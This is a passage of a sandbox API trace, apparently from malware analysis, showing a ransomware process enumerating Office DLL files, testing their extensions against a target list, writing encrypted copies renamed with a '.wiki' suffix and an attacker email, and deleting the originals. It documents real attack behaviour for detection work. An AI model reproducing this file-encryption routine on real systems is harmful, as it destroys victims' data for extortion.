[0183.126] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.126] lstrlenW (lpString=".bz2") returned 4 [0183.126] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.126] lstrlenW (lpString=".7z") returned 3 [0183.126] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0183.126] lstrlenW (lpString=".dbf") returned 4 [0183.126] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0183.126] lstrlenW (lpString=".1cd") returned 4 [0183.126] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0183.126] lstrlenW (lpString=".jpg") returned 4 [0183.126] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.126] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0183.126] lstrlenW (lpString="ACEERR.DLL") returned 10 [0183.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0183.127] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=43408) returned 1 [0183.127] CloseHandle (hObject=0x1dc) returned 1 [0183.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 0x20 [0183.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0183.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0183.127] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.127] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.128] GetLastError () returned 0x0 [0183.128] ReadFile (in: hFile=0x1dc, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0xa990, lpOverlapped=0x0) returned 1 [0183.130] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xa9a0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xa9a0, lpOverlapped=0x0) returned 1 [0183.132] ReadFile (in: hFile=0x1dc, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0183.132] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0183.132] SetEndOfFile (hFile=0x1e0) returned 1 [0183.132] CloseHandle (hObject=0x1e0) returned 1 [0183.132] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.132] SetEndOfFile (hFile=0x1dc) returned 1 [0183.133] CloseHandle (hObject=0x1dc) returned 1 [0183.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0183.133] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 1 [0183.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0183.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0183.134] lstrlenW (lpString=".doc") returned 4 [0183.134] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0183.134] lstrlenW (lpString=".docx") returned 5 [0183.134] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0183.134] lstrlenW (lpString=".pdf") returned 4 [0183.134] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0183.134] lstrlenW (lpString=".xls") returned 4 [0183.134] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0183.134] lstrlenW (lpString=".xlsx") returned 5 [0183.134] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0183.134] lstrlenW (lpString=".ppt") returned 4 [0183.134] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0183.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0183.134] lstrlenW (lpString=".zip") returned 4 [0183.134] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0183.134] lstrlenW (lpString=".rar") returned 4 [0183.134] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0183.134] lstrlenW (lpString=".bz2") returned 4 [0183.134] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0183.134] lstrlenW (lpString=".7z") returned 3 [0183.134] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0183.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0183.134] lstrlenW (lpString=".dbf") returned 4 [0183.134] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0183.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0183.134] lstrlenW (lpString=".1cd") returned 4 [0183.134] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0183.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0183.134] lstrlenW (lpString=".jpg") returned 4 [0183.134] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0183.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0183.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0183.135] lstrlenW (lpString=".doc") returned 4 [0183.135] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0183.135] lstrlenW (lpString=".docx") returned 5 [0183.135] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0183.135] lstrlenW (lpString=".pdf") returned 4 [0183.135] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0183.135] lstrlenW (lpString=".xls") returned 4 [0183.135] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0183.135] lstrlenW (lpString=".xlsx") returned 5 [0183.135] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0183.135] lstrlenW (lpString=".ppt") returned 4 [0183.135] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0183.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0183.135] lstrlenW (lpString=".zip") returned 4 [0183.135] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0183.135] lstrlenW (lpString=".rar") returned 4 [0183.135] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0183.135] lstrlenW (lpString=".bz2") returned 4 [0183.135] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0183.135] lstrlenW (lpString=".7z") returned 3 [0183.135] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0183.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0183.135] lstrlenW (lpString=".dbf") returned 4 [0183.135] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0183.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0183.135] lstrlenW (lpString=".1cd") returned 4 [0183.135] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0183.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0183.136] lstrlenW (lpString=".jpg") returned 4 [0183.136] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0183.136] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0183.136] lstrlenW (lpString="ACEES.DLL") returned 9 [0183.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0183.136] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=1012648) returned 1 [0183.136] CloseHandle (hObject=0x1dc) returned 1 [0183.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 0x20 [0183.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0183.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0183.137] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.137] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.137] GetLastError () returned 0x0 [0183.137] ReadFile (in: hFile=0x1dc, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0xf73a8, lpOverlapped=0x0) returned 1 [0183.437] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xf73b0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xf73b0, lpOverlapped=0x0) returned 1 [0183.805] ReadFile (in: hFile=0x1dc, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0183.805] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0183.805] SetEndOfFile (hFile=0x1e0) returned 1 [0183.806] CloseHandle (hObject=0x1e0) returned 1 [0183.806] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.806] SetEndOfFile (hFile=0x1dc) returned 1 [0183.815] CloseHandle (hObject=0x1dc) returned 1 [0183.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0183.815] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 1 [0183.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0183.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0183.815] lstrlenW (lpString=".doc") returned 4 [0183.815] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0183.815] lstrlenW (lpString=".docx") returned 5 [0183.815] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0183.815] lstrlenW (lpString=".pdf") returned 4 [0183.815] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0183.815] lstrlenW (lpString=".xls") returned 4 [0183.815] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0183.815] lstrlenW (lpString=".xlsx") returned 5 [0183.815] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0183.815] lstrlenW (lpString=".ppt") returned 4 [0183.815] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0183.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0183.816] lstrlenW (lpString=".zip") returned 4 [0183.816] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0183.816] lstrlenW (lpString=".rar") returned 4 [0183.816] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0183.816] lstrlenW (lpString=".bz2") returned 4 [0183.816] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0183.816] lstrlenW (lpString=".7z") returned 3 [0183.816] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0183.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0183.816] lstrlenW (lpString=".dbf") returned 4 [0183.816] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0183.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0183.816] lstrlenW (lpString=".1cd") returned 4 [0183.816] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0183.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0183.816] lstrlenW (lpString=".jpg") returned 4 [0183.816] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0183.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0183.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0183.816] lstrlenW (lpString=".doc") returned 4 [0183.816] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0183.816] lstrlenW (lpString=".docx") returned 5 [0183.816] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0183.816] lstrlenW (lpString=".pdf") returned 4 [0183.816] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0183.816] lstrlenW (lpString=".xls") returned 4 [0183.816] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0183.816] lstrlenW (lpString=".xlsx") returned 5 [0183.816] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0183.816] lstrlenW (lpString=".ppt") returned 4 [0183.816] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0183.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0183.817] lstrlenW (lpString=".zip") returned 4 [0183.817] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0183.817] lstrlenW (lpString=".rar") returned 4 [0183.817] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0183.817] lstrlenW (lpString=".bz2") returned 4 [0183.817] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0183.817] lstrlenW (lpString=".7z") returned 3 [0183.817] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0183.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0183.817] lstrlenW (lpString=".dbf") returned 4 [0183.817] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0183.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0183.817] lstrlenW (lpString=".1cd") returned 4 [0183.817] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0183.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0183.817] lstrlenW (lpString=".jpg") returned 4 [0183.817] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0183.817] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0183.817] lstrlenW (lpString="ACEODTXT.DLL") returned 12 [0183.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0183.818] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=15800) returned 1 [0183.818] CloseHandle (hObject=0x1dc) returned 1 [0183.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 0x20 [0183.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0183.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0183.818] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.818] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0184.618] GetLastError () returned 0x0 [0184.618] ReadFile (in: hFile=0x1dc, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x3db8, lpOverlapped=0x0) returned 1 [0184.621] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0184.622] ReadFile (in: hFile=0x1dc, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0184.623] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0184.623] SetEndOfFile (hFile=0x1d0) returned 1 [0184.623] CloseHandle (hObject=0x1d0) returned 1 [0184.623] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0184.623] SetEndOfFile (hFile=0x1dc) returned 1 [0184.624] CloseHandle (hObject=0x1dc) returned 1 [0184.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0184.624] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 1 [0184.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0184.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0184.624] lstrlenW (lpString=".doc") returned 4 [0184.624] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0184.624] lstrlenW (lpString=".docx") returned 5 [0184.624] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0184.624] lstrlenW (lpString=".pdf") returned 4 [0184.624] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0184.624] lstrlenW (lpString=".xls") returned 4 [0184.624] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0184.624] lstrlenW (lpString=".xlsx") returned 5 [0184.624] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0184.624] lstrlenW (lpString=".ppt") returned 4 [0184.625] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0184.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0184.625] lstrlenW (lpString=".zip") returned 4 [0184.625] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0184.625] lstrlenW (lpString=".rar") returned 4 [0184.625] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0184.625] lstrlenW (lpString=".bz2") returned 4 [0184.625] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0184.625] lstrlenW (lpString=".7z") returned 3 [0184.625] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0184.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0184.625] lstrlenW (lpString=".dbf") returned 4 [0184.625] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0184.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0184.625] lstrlenW (lpString=".1cd") returned 4 [0184.625] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0184.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0184.625] lstrlenW (lpString=".jpg") returned 4 [0184.625] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0184.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0184.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0184.625] lstrlenW (lpString=".doc") returned 4 [0184.625] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0184.625] lstrlenW (lpString=".docx") returned 5 [0184.625] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0184.625] lstrlenW (lpString=".pdf") returned 4 [0184.625] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0184.625] lstrlenW (lpString=".xls") returned 4 [0184.625] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0184.625] lstrlenW (lpString=".xlsx") returned 5 [0184.625] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0184.625] lstrlenW (lpString=".ppt") returned 4 [0184.626] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0184.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0184.626] lstrlenW (lpString=".zip") returned 4 [0184.626] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0184.626] lstrlenW (lpString=".rar") returned 4 [0184.626] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0184.626] lstrlenW (lpString=".bz2") returned 4 [0184.626] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0184.626] lstrlenW (lpString=".7z") returned 3 [0184.626] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0184.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0184.626] lstrlenW (lpString=".dbf") returned 4 [0184.626] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0184.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0184.626] lstrlenW (lpString=".1cd") returned 4 [0184.626] lstrcmpiW 